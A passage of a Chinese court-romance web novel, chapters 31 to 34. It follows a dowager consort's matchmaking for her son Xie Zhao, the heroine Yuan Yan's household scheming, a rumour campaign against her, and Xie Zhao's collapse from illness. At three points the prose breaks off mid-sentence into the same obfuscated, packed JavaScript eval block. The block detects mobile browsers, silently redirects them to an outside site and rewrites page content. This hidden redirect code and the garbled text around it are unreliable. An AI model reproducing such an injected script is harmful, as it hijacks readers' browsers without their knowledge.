司空青蓝坐在主位，袁彦进去后带着韵采揖礼，“阿灵见过太妃娘娘。” “免礼免礼，”司空青蓝笑眯眯望住袁彦，起身时被郑嬷嬷虚虚一扶，向前几步，近些了，那张脸便也瞧得更加清楚，“累了吧？快坐下吃茶。” 袁彦出声谢过，待司空青蓝重新入座，自己方才轻轻坐了下去。 韵采得了眼神示意，随即上前将手中一直提着的光从外形看去就做工极为精巧的木盒呈递。 袁彦道：“时间匆忙，一点心意，还请太妃娘娘莫嫌弃。” 郑嬷嬷双手接过盒子，司空青蓝道：“本就是我唐突打扰，合该是阿灵姑娘不与我计较才是，下回再来千万不要再送什么，不然我都不好意思再给你送帖子了！” 袁彦一笑，只当是客气。 吃了茶，闲聊几句后，袁彦借着前一句的尾音话锋一转，“不知太妃邀阿灵今日前来，是有什么要紧事？” 司空青蓝神色柔和，放下茶杯，笑说：“确实如帖子上所说，自打先瑞王故去，我便一直守在平京再不曾出行，许是年岁使然，这段时日总是怀念起年轻时的经历，”说到这她停顿几息，再开口时声音更是轻缓，“听闻阿灵曾在外多年，见识颇不俗，便想着让你过来同我说上一说，舒缓心情，聊以慰藉。” 袁彦心中了然，面上却十分配合，“都是些为了生存不得不为之事，只怕太妃娘娘听罢，会大失所望。” “无妨无妨，”司空青蓝立刻道，“阿灵只管说，当年先瑞王尚在，我与他同游塞外，途中不知出了多少状况，不得不为之的事更做了不知多少，与其说是失望，不如说感同身受更为恰当。” 袁彦无奈，只好搜肠刮肚，拣了几件在扬州查账时旁听邻桌旅人讲述自己遭遇的二三事说与她听。 当听到袁彦说起“险些被人牙子卖到官员府上做婢女”、“饿肚子壮着胆子去摊贩上偷包子却被摊主要挟‘以身偿还’”，诸如此类时，司空青蓝的心也跟着一紧又一紧，续上的茶早已冷透忘了喝。袁彦悄然瞥见，恍惚觉得那神情那双眼并不似作伪，仿佛真情实感流露，反观自己这些顺嘴胡诌的所谓逸事，三分真七分假，心中不由愧疚起来。 正这时，婢女思幻从屋外走进，到了司空青蓝面前轻声传话：“太妃，殿下到了。” 袁彦眉目微挑，不着痕迹瞥了眼门口，今日并非休沐日，谢兆怎会还在府上？ 遂捻指掐算，心头一震，病了？ 31. 第 31 章 司空青蓝面上的惊讶显然是事先并不知情，袁彦在前者看过来之前收回目光，未来得及继续再做推衍，听见司空青蓝出声问她：“阿灵可介意？” 袁彦无奈，这般问话根本就没给她拒绝的余地，只好摇头说：“太妃请便。” 司空青蓝颇为满意，告诉思幻，“请殿下进来。” 袁彦心中微微一叹，既来之，个中情由早已猜出八分，此刻再退反显扭捏。 谢兆信步而来，站在厅中央，先是看了旁边坐着的袁彦一眼，笑了笑，这才和司空青蓝见礼，“母亲。” 袁彦只作视而不见。 司空青蓝挥手让他自行落座，瞧了眼他的脸色，“今日怎的没去上值？可是不舒坦？” 谢兆不知是凑巧还是什么，倏然咳嗽两声，哑着声音道：“昨夜不慎吹了凉风，早上就热起来了，便暂且告假几日。” 司空青蓝难掩担忧，“需不需传窦太医过府？” “吃了药，热已经暂时退下去了，”谢兆又连着咳嗽几声，“母亲不必挂心。” 司空青蓝哪里能放心，自打幼时那次冬日落水后，儿子的身子骨便照常人弱上许多，每逢换季，就算再谨慎小心，也还是会病个三五回，严重的时候甚至能连着烧一旬之久！这些年为了强健体魄拜过不少名家名师，瞧着确实壮实不少，功夫更是没落下，可就是生病这事仍然照旧。 病根难祛，心病亦然。 “晚一会还是让窦太医来瞧瞧，趁着这几日在家，教他给你好好调理调理。” 谢兆不置可否，余光瞥向袁彦，话却是问的司空青蓝，“不知母亲院中今日有贵客，是儿子唐突了。” 司空青蓝笑了笑，“兆儿，这位是户部尚书薛大人家的嫡长女。” 袁彦起身揖礼，“阿灵见过殿下。” “不必拘礼，”丫鬟端了茶壶与茶杯过来，谢兆摆手让其离去，自顾自倒了杯茶，端起轻轻嗅了嗅，笑问，“听说薛大人的嫡长女幼时走丢，去年初方寻回？” 袁彦不动声色迅速看他一眼，而后敛起眉眼，柔声道：“承蒙父亲多年不弃，否则怕是直到今日阿灵仍不知身在何处漂泊。” 谢兆点点头，“要知道多少幼年走失之人，或是至死都再不曾有缘与父母得见，或是一辈子懵懵懂懂，改认他人作亲——薛姑娘是个福泽深厚的，过去那么多年，仍然可以殊途同归。” “是父亲大人的坚持方有阿灵的今天，阿灵心中不胜感激。” 司空青蓝端杯喝茶，垂下的眼眸里藏了些许笑意，两人你来我往的打哑谜，真当她那日什么都不晓得吗？是了，许是有她在旁，他们便没法子多说，只能正正经经规规矩矩，但若想把人娶进门，光顾着规矩怎么能行？ 思及此，她便搁了茶杯，低头拂了拂衣摆的褶皱，对袁彦道：“阿灵，上回是不是还没来得及好好逛过府里？不瞒你说，兆儿私下最喜摆弄些精巧物件，府里各处几乎都有他亲力亲为的巧思，阿灵若感兴趣，我这便带你过去瞧瞧？” 袁彦站起身，微微回礼，“荣幸之至，有劳太妃娘娘。” 司空青蓝被郑嬷嬷挽住手臂，走到谢兆身边时，递过去一眼，“兆儿要不要也来？毕竟府里物件都是你亲自寻来的，若是待会阿灵问起，我答不出，你定然可以的。” 谢兆一笑，便顺势看向袁彦，后者徐徐侧转过身，垂眸说：“殿下风寒未愈，阿灵不敢麻烦。” 谢兆眼睛一眨不眨地看住她，拾起搁置一旁的狐裘穿在身上，先是咳嗽几声，之后带着鼻音轻声说：“风寒而已，不打紧，府上的确有很多东西是母亲不熟悉的，薛姑娘若有想知道的，尽管问我便是。” 袁彦无奈，只得再次说一句：“有劳。” 司空青蓝走在前面，悄悄听着身后的交谈，与郑嬷嬷对视一眼，皆从对方眼底看见了融融笑意。 有门，这事准有门！ 袁彦落后谢兆两步，带着韵采走在最后，韵采观望一番，确定前头的人听不见她们的声音，这才小声道：“姑娘，奴婢怎么觉得，瑞王殿下有点醉翁之意不在酒？” 袁彦没有说话。 醉翁之意在何处，她又不是瞎子，怎会看不出来？ 到了府上后花园，司空青蓝故意走得快些，谢兆也故意走得慢些，一直在后面跟着的袁彦就不得不逐渐变成和谢兆同行，谢兆倒是没再多做或多说些什么，园子里的各种摆件以及树木花草他都给她一一介绍，只是归咎于这场风寒，他每说几句，中间就要夹杂几声咳嗽，让人听起来就有种感同身受似的不舒坦。 不远处站在一株盆栽前的主仆二人免不得要悄声嘀咕几句—— “太妃，殿下眼下尚在病中，这般折腾……能行吗？” “所以待会务必要让窦太医过府一趟。” “当真非得是薛家千金不可了？奴婢瞧着，除了模样一等一的精致外，好像并无其他特别？况且多年在外漂泊，都有过什么经历，咱们也未可知啊！” “以往的那些世家千金，兆儿见了眼皮子都不见得抬一下，今日却要上赶着，可见是往心里去了的。薛尚书为人清廉正直，宫里那位也对他颇为倚重，是这些年咱们看在眼里的，他的女儿自然也不会差到哪去，”司空青蓝幽幽一叹，“幼年走丢并非她的过错，在外面吃的苦更不是她应该的，兆儿既然倾心于她，必然不会介意这其中之事，我又急于想要一位王妃进府打理，两全其美之事，何乐而不为呢？” 想到太妃的病症，郑嬷嬷面色难过，“太妃……” “多说无益，那一天是迟早的事，所以赶在那之前，任何可以为兆儿铺的路，我们都要提前铺好，免得将来死不瞑目。” 郑嬷嬷忙说：“呸呸呸，太妃莫讲这种不吉利的！” 司空青蓝笑了笑。 身后不远处，袁彦耐着性子听谢兆给她讲那一株几年前从渤海郡转运过来的枇杷树，“别看已经陆续开花，但这个时节结出的果子繁多却并不好吃，就只能做观赏用。” 袁彦抬头，目光却并未落在那亭亭如盖的树上，望向更远处，轻声道：“昨夜寒风并未刮起，殿下何故会着风寒？” 谢兆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443187|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲继续说的话倏然被堵在舌尖，他蓦地转过头，眼底带着不加遮掩的惊讶，看着她，“你这是……关心我？” 袁彦收回的目光并未在谢兆脸上停留片刻，低眉敛目道：“殿下贵体欠安，又受累说了许多话，久咳不止，想来身子已是乏累至极，如此阿灵实不敢再叨扰，这就去跟太妃告辞了。” 她说着就要快走过去，却被谢兆轻挪脚步挡住去路，韵采在进了后花园时便被思幻寻了借口拉到远处，此刻这方天地仅有他们二人，袁彦抬起头，眼底并不见慌乱。 “殿下这是做什么？” 谢兆瞧着她，半晌方道：“有几日了，你还没想好吗？” 说的是那日在小松山，谢兆言辞恳切，欲要袁彦答应进府做他的瑞王妃。 “殿下，古语说强扭的瓜不甜……” “瓜甜不甜，非得尝过才知道，”谢兆盯着她，慢慢靠的近些，声音放得更轻，“薛姑娘试也不试一次，怎就知不可为？” 袁彦难以置信地抬头。 谢兆忽然笑起来，“没记错的话，这还是今日你头一回正眼看我。” 袁彦不自在地别开目光。 “你看看我，”谢兆说，声音里似乎带了些委屈，声音更轻了，好似耳语，“我着了风寒，你为何连看都不肯看？” 袁彦猛地后撤一步，拉开两人之间的距离，恼得咬牙切齿，“谢……殿下！” 谢兆站直身子，不错眼珠地望住她，等着她再开口。 “殿下病了就莫再出门，小心夜里更严重了去，也不要……”过了病气给我！ 谢兆心情愉快起来，“原来并非错觉，你的确是在关心我。” “殿下自重！” 丢下这一句，袁彦疾步远走，这次谢兆并未拦阻，她却好似落荒而逃。 告辞离府尚算体面，袁彦带着韵采匆匆登上薛府马车，直到走出很远，心绪仍然未能抚平。 司空青蓝原本计划留人在府里用晚饭，岂料未时还没过完人就着急忙慌走了，不明所以之际，再看谢兆那张阴谋得逞却假扮无辜的脸，顿时气不打一处来！ 若非尚且顾着体面，此刻手上的玉杖就该招呼到这倒霉儿子的身上了！ “你到底做了什么？好好的怎么就如此着急要回去？兆儿，今日你不把话说清楚，我……我就和你耗在这了！”连郑嬷嬷一并屏退，花园中只留下母子二人，饶是这般，司空青蓝的声音依旧压得极低。 “母亲好生不讲道理，怎的儿子按照母亲的意思作陪也陪出了错？儿子今日是拖着病体尽心尽力的，母亲还要儿子如何？” “你少给我岔开话题！”司空青蓝捂住心口，无奈一叹，“要真是心悦于她，就拿出你的诚心来，我这边向来一切以你为准，待他日进门，我亦不会端那皇家长辈的架子。府里办了这么多次打春宴，不就是求个你情我愿？你还要怎的？” 谢兆也跟着无奈叹气，“母亲，儿子亦是的的确确千百个愿意的。” 司空青蓝看向谢兆，几息后了然道：“原来是人家看不上你。” 32. 第 32 章 几日前妫氏命人将水天居旁边一处小别院收拾出来，让明秋搬进去，另拨了两个小丫鬟伺候，之后便再没管过。 袁彦自瑞王府归来，已是黄昏时分，路过那座别院，里头并不见掌灯，反倒是门口有人提着灯笼张望，见她往这边来，赶忙迎了上去。 “姑娘，夫人请您去一趟西苑。” 袁彦点点头，“容我回去修整一番，过会就去。” 翠语还礼，“姑娘不忙，奴婢这就给夫人回禀。” 待走进院子，韵采左右瞧了瞧，小声说：“姑娘，明秋还没回呢。” 袁彦“嗯”了声，脱了披风净手，婢女再递上温热湿帕给她贴敷在脸上，想了想说：“若她比我先回，那继续留着也无甚用处，不如趁早打发了，别再过来碍眼。” 韵采道：“姑娘且放心，她不为别的，就算为了自己的后半生，也断不会白白废了这次机缘。” “如果能好好经营，也不差的。” “薛夫人这会找姑娘，必然也是为着明秋这事。” 袁彦走进里间，隔着一道屏风回道：“我请她帮忙促成这件事，她想给薛礼谋些好处，互惠互利的事，当然要上心。” 换了身衣裳，袁彦带着韵采往西苑去。 妫氏已然沏茶等候多时，听见袁彦已经快到门口，连忙收起先前的漫不经心，清了清嗓子，从椅子上起身。 妫氏向来在面子上跟袁彦过得去，就算内心已经恨不能她即刻暴毙眼前，脸上却依旧能够笑容以对，话也说得温温柔柔，从不绵里藏针。 二人相互见礼还礼，各自落座。 妫氏虽然心急，却也不至于直接开门见山，还是耐着性子聊了几句当下所喝的茶水，茶饼是前段日子兖州娘家那边送来的当年新茶，市面上尚未开始售卖。 “如何？” 袁彦呷了几口，点点头说：“不错。” 妫氏语塞，不过转念又想起她一个在外流浪多年的姑娘家，能保住命已是天佑之，怎会还有心思学这些虚头巴脑的东西，想通后她随即一笑，眼睛张望了下外头，对袁彦说：“明秋那丫头，怎的还不见影子？” “想必是合了那位二公子的眼缘，这会正结伴同游也未可知。” 妫氏微微蹙眉，“希望如此吧。” “母亲在担忧什么？” 妫氏看了袁彦一眼，怨怼道：“郭二公子本是看中了阿灵你的，郭夫人为这事也来了好几趟，你却几次都避而不见，现在又将个什么都不是的明秋推上了台面，日后若被郭家知晓，还指不定要如何恼恨。” “母亲这话说的，男婚女嫁本是常事，可也讲求个父母之命你情我愿，我与郭二公子素无交集，对方何故非要上门求娶？何况我根本无意于他，郭夫人来府就是奔着婚事而来，我既没有这个意思，却次次赶着去见，是为何意？与其教人会错意徒增懊恼，不如压根就不给她这个机会。” 妫氏嘴上没回什么，内心却句句都是怨气——素无交集？果真是外头野惯了的，一天到晚在府里不见人影，只知去外抛头露面，指不定什么时候就入了人家的眼，谁知道你是有意无意？把人钓上来又拔掉钩子，不就是仗着这张脸？哪天碰着了硬钉子，到时候给人将脸一并毁了，看你上哪哭去！ “话是这样说没错，”妫氏腹诽完毕，幽幽一叹，“可这事若成了，就到底是我们对不住郭家了，明秋嫁过去若是个安分的尚且好说，若闹得人家内宅鸡飞狗跳……” 袁彦自袖中摸出一封信笺，微笑递过去，“母亲，薛礼前日写了回信来，说劳母亲挂怀，他在国子监一切都好，书读得不错，每日的随堂考校先生们都很满意，只是人情往来上颇为拮据，问家里能不能每旬再多给些银钱？” 妫氏咽下了后面的那些牢骚。 她与薛崇贵成婚多年，确是过了几年蜜里调油的日子，可不知是哪年哪时起，夫妻情分消磨，二人之间便就只剩下老爷与当家主母的关系，就连儿子的大小事也被薛崇贵以“慈母多败儿”的由头，再不教她插手，每月只让母子俩见上区区一面，且总有嬷嬷从旁候着，好像生怕她突然失心疯，将人拐到别处去！ 再之后薛礼去国子监读书，她便更没了见面机会，就连日常问候的信件都没办法送进去，否则，她又怎会同那嫡长女同流合污！ 薛崇贵宠女无度，可恨，可恨至极！ 妫氏迫不及待拆开信封，迅速扫视，脸上愈发难看。 家中每月的用度开销也不过十两银子，每旬送到薛礼手上的银子虽是薛崇贵额外批的，却有足足二两，他在里面每日除了读书就是吃饭睡觉，一切开销都由国子监承担，哪里用得了那么多钱？怎会不够了？ 她在府里名义上是主理中馈，财政大权却并不在自己手中，薛崇贵官至户部尚书，在外管着偌大国库尤不知足，进了家宅，还要掌管内宅的库房，每月十两银子除去工钱开销堪堪够用，她哪里有什么闲钱？ 可儿子如今已经伸手过来要了，指望薛崇贵那种说得出“天行健，君子以自强不息”的人是断然没戏可唱，眼下府里手中有闲钱的，除了这位整天哭穷的嫡长女，还有谁？ 单单一个“钱”字，便让妫氏不得不捏着鼻子与她打交道。 妫氏整理好心情，勉强挤出个笑来，尽量把话往软了说：“阿灵，明秋那丫头，自小确实是放在我跟前养着的，品行上自是没得说，我这些年对她的教导那也是尽心尽力……想必日后嫁到了郭家，肯定会有个贤良淑德的好名声。” 袁彦笑道，“母亲且放心，薛礼的事情我已派人知会，书院亦是个小朝堂，薛礼将来是要考取功名之人，眼下多多历练，日后在官场上的为人处世才不会吃亏。” 妫氏硬着头皮应下。 再稍坐了坐，袁彦放下茶杯，告辞回去。 戌时，韵采推门进书房，袁彦放下手中书册，抬眼过去。 “姑娘，别院掌灯，明秋回了。” “文四的消息如何？” 韵采自腰带间取出一枚寸余竹筒，打开拿出里面的纸卷，“过程都写在上头了。” 纸卷窄窄一条，却是蝇头小字内容繁多，袁彦一行行看下去，到精彩处，眉目微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443188|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微上扬。 韵采轻声问：“姑娘，都写了啥？” 袁彦笑说：“明秋确是个有想法的，先前我们给她出的几个办法她竟都没用，白日悄悄去到琳琅轩，拿了我的小像与几日前给的银钱，找里头的妆娘给她化了我的仿妆。” 韵采听得一愣，随即脸色难看起来，“姑娘，这你还笑得出来？” “无妨，早就告诉过她，只要事成，至于过程如何，我不看重，”袁彦想了想，吩咐道，“明天让文四去一趟琳琅轩，把那位妆娘买回来，打点好她家中事，以后就跟在明秋身边。” 韵采不知自己猜测是否准确，“姑娘的意思是……” 袁彦却是知道她的意思，点头道：“这是她自己送上门的筹码。” － 郭文尧今日可算是乘兴而归。 原本这场生辰宴是为给父亲当桥梁而办，却没想到中途竟会有意外之喜，也亏得他彼时彼刻多往门外看过一眼，惊鸿一瞥，教他捕捉到了那抹一闪而过的倩影。 身形像，只是门关得太快，未及见到侧脸。 郭文尧心痒难耐，借口酒喝太多出门放水，撇下一众少时同窗，出门寻人去了。 只是佳人脚步匆匆，不过一杯酒的工夫便不见人影，郭文尧想起她去时方向，判断其应该还在这二楼，未曾离开。 于是当机立断收买楼中小厮，趁其端茶送水之时，挨个包房找过去。 可已经遍寻各处，却仍不见踪影。 郭文尧心急不已，清俊的脸庞竟隐有扭曲之相。 而也就是这时，身旁忽有香风拂过，接着有笑声入耳，郭文尧下意识侧头看去，那女子不知是没看见还是怎的，竟是一头直直撞到了他怀中，两相对视之际，一个惊慌失措侧身见礼，一个怔愣原地。 待人走出几步，郭文尧果断出声，将人叫住。 女子羞羞怯怯，说不出别的，只一味道歉。 郭文尧心情大好，立刻让小厮另开雅间，邀她入内一叙。 而此刻，郭文尧坐在书房，笔下一幅新作丹青，正是今日在水玉楼所见女子的画像。 “真像……” 他痴痴盯着画中女子，手抚着画中人的脸，双眼微眯，面色陶醉，仿佛他摸的并非画纸，而是真真实实的女子细嫩的脸颊。 呼吸越来越急促。 片刻后，他方止住那阵剧烈震颤，只是脸色依旧微红，他低头看向褶皱不已的袍子，以及地上的那滩痕迹，忽觉索然无味起来。 叫丫鬟进来收拾，他则起身回房沐浴，闭上眼睡去前，他仍在面带笑容喃喃自语：“五分像，到底不是真的，若有朝一日……” 隔天下午，平京城忽然不知从何处率先传出谣言，说户部尚书家那位失而复得的嫡长女薛灵，在外流浪多年，曾经被人卖做奴隶，仗着颇有姿色，与主家生出私情有了身孕，后被主母知晓，施以杖刑落胎，丢去乱葬岗。 消息传播迅速，仿佛有人刻意推波助澜，意图彻底摧毁女子名声，茶楼酒馆的说书先生争相讲评，一时间议论纷纷，沸沸扬扬。 33. 第 33 章 礼部尚书府。 郭文尧梦中会了一夜画中人，醒来得不情不愿，奈何敲门声催的紧，他是听见了母亲崔氏的声音才勉强压下心中那团怒火。 稍微穿戴上，他脚步虚浮前去开门，嗓音有些哑，“母亲，好容易有个休沐日，大早上到底有何事？” 崔氏屏退左右，急急忙忙越过门槛进屋，要说话时，见自家儿子还杵在门口不动，只好又去将他拉进来，关上门，声音压得极低，“尧儿，那薛家嫡长女的事，你趁早死了那条心，不管怎么样，我是绝对绝对不会允许那样一个人进府的，你父亲也知晓此事，他的态度与我一样！” 郭文尧尚且不知外头发生了何事，但见母亲如此模样，便大致猜出了什么，“母亲这是何意？明明那日已经答应……” “那日是那日，今日是今日，我告诉你，这件事我同你父亲只有四个字——趁早死心！” 郭文尧自顾自给自己倒了杯水，喝下去时狠狠打了个激灵，他心情烦躁，需得用手死死捏住杯子才不至于失态摔到地上，紧闭上眼睛，深深呼吸几次，这才勉强心平气和问出来，“母亲，可是薛姑娘那边遇上了什么棘手的事？莫要模棱两可，母亲且慢来，详细说与儿听。” 崔氏扶着桌子坐下，神情愤恨，“尧儿，非是母亲不帮你，实在是母亲也被那妫氏给骗了，我先前就同你讲过，那薛灵流落在外多年，指不定同他人干过什么不堪苟且之事，可你却偏偏钟情于她。” 郭文尧脑子乱糟糟，耳朵嗡嗡响。 崔氏恨得直捶桌子，“现在外头都传遍了，说那薛灵曾经被人卖做奴隶，却是个不安分的，竟胆大包天私下与主家偷情怀了孽种，事情败露教人家主母打得半死不活落了胎，当成死人给扔到乱葬岗！儿啊，母亲就劝你一劝，事已至此，你快歇了那份心思吧！” “砰——” 郭文尧骤然摔落茶杯，崔氏被吓了一跳，原本再要说几句，却在对上儿子泛红的眼睛时不自觉地吞了下唾沫，“尧儿，你……” “母亲同为女子，当知晓名节对于一个闺阁女子来说有多么重要，”郭文尧语速缓慢，声音颤抖，尽管已经很努力了，却还是难以压制心中那些渐次生出的扭曲的激动，“此事休要再提，母亲，儿子就只说这一次。” “你！冥顽不灵！”崔氏恨不能上手将他打醒，“若你的心思被你父亲知晓，知不知道他会如何待你？” 郭文尧却突然笑起来，答非所问道：“母亲，她名声毁了，往后便再难嫁人，薛家急于遮掩，我若现在娶了她，想必也并非难事。” 犹如一盆冰水兜头浇下，崔氏直愣愣看着自己的儿子，看着他几近癫狂的眼神，心中忽然有了个荒唐的想法：她这是生养了个怪物怎的？ 崔氏不敢再多说话，害怕刺激到他，只顺着他说了些关于成亲方面的事，将人安抚住后她起身离开，出了院门她便招来心腹管家，让他即刻前去药铺，而后又去后院找来几个身强力壮的小厮，将前不久新进的木材整理出来，用以备用。 吩咐完这些事，崔氏依旧忧心忡忡，想了想，便再去将前院小厮调过来，让他今日务必寸步不离地守着二少的庭院，一旦发现他要离开，便立马召集府中所有人，就是绑也要把人绑死在卧房！ － 辰时末，谢兆已经坐在卷录阁内批了一大摞卷宗，搁下笔，拿起一旁碳炉上煨着的药汤，喝得面不改色。 林三刀大步进来，“大人。” 谢兆拿巾帕擦嘴，点了点旁边的矮凳，“坐下说。” “大人，那日您让我们留意那祝氏，原本这些天还算安分，每日出行也极为规律，但就在昨日，祝氏常去采买的店家突然借口进了新货，带着祝氏入店内一观，灵韵在外等候多时不见其出，便悄悄潜入后院查看，发现那祝氏竟在柴房中秘密会见了吏部主事王泽忠。” “王泽忠？”谢兆想起小松山湖畔处姓王的对阿彦的轻薄。 林三刀点头，“大人放心，灵韵并未打草惊蛇，那家店已经被我们的人暗中监视起来，任何风吹草动都能第一时间知晓，只是事出仓促，我们还没查明王泽忠见祝氏的缘由，听灵韵描述，二人总不该是有了什么私情。” 谢兆用茶冲淡嘴里的苦味，食指下意识敲击桌案，“王泽忠是小二的人，这并非什么秘事。” “如果这背后有康平王的指示，大人，”林三刀声音放得更轻，“难道姜家想吃两家饭，暗中和康平王勾结在了一起？可是四殿下明明对姜家也极为上心，为那祝家之事三番五次着人来问……姜极在户部时也算是个刚正不阿之人，难不成私底下生了什么不该有的心思？” 谢兆望向屋外房梁处的燕子窝，老燕子刚刚衔了条虫子回来，几个小雏儿嘴张得老大，巴巴等着投喂。 “姜极自打去年底就频频叫郎中去家中瞧病，却不敢劳烦太医院，怕是命不久矣了，家中女儿出嫁再未归，仅剩的小儿子还是个不成器的，想来姜家差不多也要断在这一代了。” 林三刀明了，“再不成器，也是自己看着长大的，自然要为他谋个后路。” 谢兆忽然笑起来，“到处押注，也不怕最后赔个血本无归。” 林三刀没敢接话。 “继续盯着，每日来报即可。” 林三刀起身领命而去。 张陆匆匆自门外跑进，与林三刀擦身而过时，脸上是抑制不住的兴奋，“大人！” 谢兆只好放下刚拿起的卷宗，抬眼过去，“何事？” 张陆虽迫不及待，但礼数仍在，作揖道：“大人，小的手底下的人这几日都在盯着薛尚书府，好巧不巧，今日还真就出了大事，”他凑近，“外头不知何人意图败坏那位嫡长女的名声，现在市井各处谣言漫天，都说她是……” 叩在桌案上的手指微微动了下，谢兆语气不变，“是什么？” 张陆咽了口唾沫，即便离得这样近，却仍未瞧出谢兆神情中的变化，只好狠心下了一记猛料：“外头的人现下都在传，说薛尚书好不容易接回来的嫡长女原来竟是个荡＼妇！” 谢兆神色不善地看过去，等了等才说：“然后？” 张陆被问得有些发懵，又立刻反应过来，忙自袖中取出一枚小巧纸卷呈上去，小心翼翼道：“大人，上面写的也许并不属实，但无风不起浪，您要做好……” 谢兆接过，不慌不忙打开，一行行读下去，他面上波澜不惊，见张陆话说一半吞吞吐吐，便耐着性子出声，“做好什么？” 张陆一时吃不准谢兆的想法，有心想要再探看一番，却是有贼心没贼胆，只好硬着头皮回话：“殿下，水玉楼的案子咱们还没查完，那位薛千金怎么说也是嫌疑人之一，如今出了这档子事，万一她又是个烈性子，想不开该怎么办？” “此事是否谣言，查明即可，”谢兆放下那张写满字的纸卷，吩咐道，“便交由你去做，薛尚书一生光明磊落高风亮节，当朝为官实为北梁之幸，断然受不得这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443189|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等诋毁，务必查出到底是何人在背后捣鬼，以还薛家一个公道！” 张陆措手不及，但命令已下，他不得不接，“是。” 待人离开，谢兆方才放松心思，抓起案上那张纸，欲蹂皱撕毁，却堪堪忍住，望向张陆离去方向，眼底阴霾滋生。 “荷风！” 暗卫悄然而至，手疾眼快接住将将倒下的谢兆，神不知鬼不觉带出了刑部。 谢兆只觉自己的五感仿佛瞬间被湖水浸满。 眼前一片模糊，视线里却似有人影攒动，几个老嬷嬷来回进出，神色焦急，相互间却不发出丁点声音，有人在耳边嘶声喊着“兆儿哥哥”，可是那声音立刻就被捂了下去，循声望向远方，却只见昏暗，想跑过去，双腿麻木得不听使唤，低头，是一滩漆黑水迹，碎冰碴晶莹剔透。 就在这时，几个老嬷嬷突然动作快了起来，进进出出，像失控的木偶戏，毫无章法。 “兆儿……” 谢兆猝然回头，用力睁开眼，对上司空青蓝焦急的面庞。 “醒了，快，快去叫窦太医进来！”司空青蓝喜极而泣，转过来说谢兆，“你这孩子，怎的病还没好就去上职？刑部缺了你还能倒了不成？太不叫人省心了！” 谢兆稍微一动，只感到全身酸软，勉强撑了一下，郑嬷嬷忙过去搀扶，谢兆轻声写过，朝司空青蓝笑了笑，“孩儿不孝，教母亲担忧了。” “快少说话，养养精力，我都怕你再多说一个字就要比我先去了！”司空青蓝满腹埋怨，“柔儿去拿个梳妆镜来给他照照，这张脸都能当宣纸用了，还笑，还笑！” 郑嬷嬷提了许久的心也在谢兆醒过来时得以放下，听完吩咐忍不住笑着说：“太妃莫要打趣殿下了，若婢子真去拿了，只怕殿下才会当场晕过去。” 司空青蓝眼眶微红，却是笑了起来。 窦太医进来见礼，而后上前搭脉。 谢兆乖乖伸手，“有劳窦太医。” “殿下客气。” 窦太医的医术造诣在太医院当得起首屈一指，而平日里又深谙养生之道，为人谦和，面相更是无甚棱角，开口前总是未语先笑，对谁都是客客气气不卑不亢，让人一看就知道是个好相与的。 两只手均搭过之后，窦太医帮着谢兆盖好被子，思索一阵对他说：“殿下一定注意切莫再被情绪所累，就算是老臣给殿下施针吃药，却也只是针对一时之症而已，心病还需心药，殿下若仍然找不到那味引子，恐怕……” 司空青蓝急道：“窦太医，话莫说一半，恐怕什么？我儿可有性命之忧？” 窦太医沉声道：“被心病拖累，油尽灯枯也是常有的。” 司空青蓝像被谁倏然散了气力。 谢兆无奈，“窦太医，母亲身体不好，受不得惊吓，您未免把情况说得过于严重了。” “太妃恕罪，”窦太医想了想，斟酌道，“老臣方才只是告知最坏结果，殿下的心病并非无解，只需找到源头，对症之后再辅以药物针灸，想必不日即可痊愈。” 司空青蓝并未因此而放宽心，“说是这般说，找到药引何其难，否则也不至于这么多年了，兆儿的身体仍是这样时好时坏。” 谢兆安慰她，“母亲别急，儿子有分寸的。” 司空青蓝无声拍了拍他的被子，“先喝药退热罢，药引之事等这阵过去再从长计议。” 谢兆敛起眉目，无意识搓捻着手指，心说这味药引，他早就找到了。 34. 第 34 章 叮嘱了燕七几句，司空青蓝领着郑嬷嬷离开，主仆二人在府中慢慢散步，好半晌，司空青蓝才轻轻叹了口气。 郑嬷嬷宽慰道：“太妃切莫过于挂怀，儿女姻缘自有天定，兴许那位嫡长女并非殿下良缘，眼看二人有情，老天爷好心伸了把手，错过是福也未可知呢！” “倒不是因为这个，”司空青蓝摇头，“我自认阅人无数，寻常的打眼一瞧，再说上几句，基本也就能知道此人品行如何。薛家长女言谈举止没有不得体的，可如果全是装出来的，那此人就太过可怕了。若将来真娶进门，把兆儿甚至整个瑞王府玩弄于鼓掌，到时候就算我尚在，单凭这副不成样的身子骨，也是没奈何了。” 